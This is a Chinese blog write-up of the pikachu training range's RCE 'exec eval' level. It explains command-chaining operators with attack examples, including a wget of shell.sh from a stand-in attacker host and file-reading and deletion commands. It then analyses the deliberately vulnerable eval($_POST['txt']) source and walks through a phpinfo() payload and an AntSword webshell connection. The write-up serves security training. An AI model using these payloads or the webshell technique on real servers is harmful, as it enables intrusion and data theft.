pikachu靶场通关笔记29 命令执行关卡02-exec eval

发布于:2025-06-14 ⋅ 阅读:(18) ⋅ 点赞:(0)

目录

一、远程执行命令

二、常用符号

1、&(后台运行符)

2、&&(逻辑与符)

3、|(管道符)

4、||(逻辑或符)

5、;(命令分隔符)

三、源码分析

四、渗透实战

1、phpipnfo

2、蚁剑连接

(1)配置密码

(2)补充submit参数

(3)连接蚁剑


本系列为通过《pikachu靶场通关笔记》的RCE远程命令执行关卡(共2关)渗透集合,通过对RCE关卡源码的代码审计找到RCE安全风险的真实原因,讲解RCE远程命令执行原理并进行渗透实践,本文为RCE02关卡exec eval关卡的渗透部分。

一、远程执行命令

远程命令执行(RCE,Remote Code/Command Execution)是一种高危安全风险,攻击者能够通过构造恶意输入,在目标服务器上执行任意系统命令,从而完全控制服务器或窃取敏感数据。

二、常用符号

命令执行安全风险中常用如下 &、&&、|、||、;命令,具体的用法如下所示。

1、&(后台运行符)

  • 功能:使前一条命令在后台运行,立即执行后一条命令。
  • 特点:并行执行,不依赖前一条命令的成败。
  • 利用:常用于同时执行多条恶意命令,如:ping 127.0.0.1 & cat /etc/password

2、&&(逻辑与符)

  • 功能:只有前一条命令成功(返回0)时才执行后一条命令。
  • 特点:顺序执行,形成依赖关系。
  • 利用:用于条件性攻击,如:id && rm -rf /tmp/exploit

3、|(管道符)

  • 功能:将前一条命令的输出作为后一条命令的输入。
  • 特点:必须执行前一条命令才能触发后一条。
  • 利用:用于数据过滤和传递,如:cat /etc/passwd | grep root

4、||(逻辑或符)

  • 功能:前一条命令失败(返回非0)时才执行后一条命令。
  • 特点:失败触发机制。
  • 利用:用于绕过防御,如:invalid_cmd || wget attacker.com/shell.sh

5、;(命令分隔符)

  • 功能:按顺序执行多条命令,无论前一条是否成功。
  • 特点:无条件顺序执行。
  • 利用:批量执行攻击命令,如:uname -a; whoami; id

三、源码分析

进入到pikachu靶场的命令执行exec eval 02关卡,找到源码rce_ping.php文件进行分析。

http://127.0.0.1/pikachu/vul/rce/rce_eval.php

这段 PHP 代码的主要功能是接收用户通过 POST 方式提交的表单数据,具体是表单中名为 txt 的字段。如果该字段不为空,代码会尝试将其内容作为 PHP 代码进行执行。若执行失败,会在 $html 变量中追加一段提示信息,后续可以将 $html 变量的内容输出到页面上,给用户展示相应提示。经过详细注释的源码如下所示。

// 初始化一个空字符串变量 $html,用于存储后续要输出的 HTML 内容
$html = '';

// 检查是否通过 POST 方式提交了表单,并且表单中名为 'txt' 的字段不为空
if (isset($_POST['submit']) && $_POST['txt'] != null) {
    // 使用 @ 符号抑制可能产生的错误信息,然后尝试执行用户通过 POST 方式提交的 'txt' 字段中的 PHP 代码
    // eval() 函数会将传入的字符串作为 PHP 代码来执行
    if (@!eval($_POST['txt'])) {
        // 如果 eval() 函数执行失败(返回 false),则将一段 HTML 提示信息追加到 $html 变量中
        $html .= "<p>你喜欢的字符还挺奇怪的!</p>";
    }
}

源码中,将我们提交内容txt用了一个eval函数判断,如果错误,返回“你喜欢的字符还挺奇怪”,正确直接执行了,并将结果返回到前端。此代码存在严重的命令执行安全风险,原因在于直接使用了 eval() 函数来执行用户输入的内容,并且没有对用户输入进行任何有效的验证和过滤。eval() 函数会将传入的字符串当作 PHP 代码来执行,这意味着攻击者可以构造恶意的 PHP 代码作为输入。 

四、渗透实战

1、phpipnfo

输入phpinfo();然后点击提交,如下所示。

执行成功,效果如下所示。

bp抓包,内容如下

POST内容如下所示。

txt=phpinfo%28%29%3B&submit=%E6%8F%90%E4%BA%A4

发现POST还包含如下内容。

submit=%E6%8F%90%E4%BA%A4

2、蚁剑连接

(1)配置密码

连接蚁剑工具,URL地址就是本关卡的链接,因源码包含eval($_POST['txt'],故而内容如下所示。

URL地址:http://192.168.59.1/pikachu/vul/rce/rce_eval.php
密码填写:txt

 

(2)补充submit参数

由于POST还传参submit=%E6%8F%90%E4%BA%A4,需要点击请求信息,添加如下内容到body部分,注意不要填到header首部。其中name为submit,value%E6%8F%90%E4%BA%A4,具体如下所示。

(3)连接蚁剑

配置完毕后点击测试连接,如下所示显示连接成功。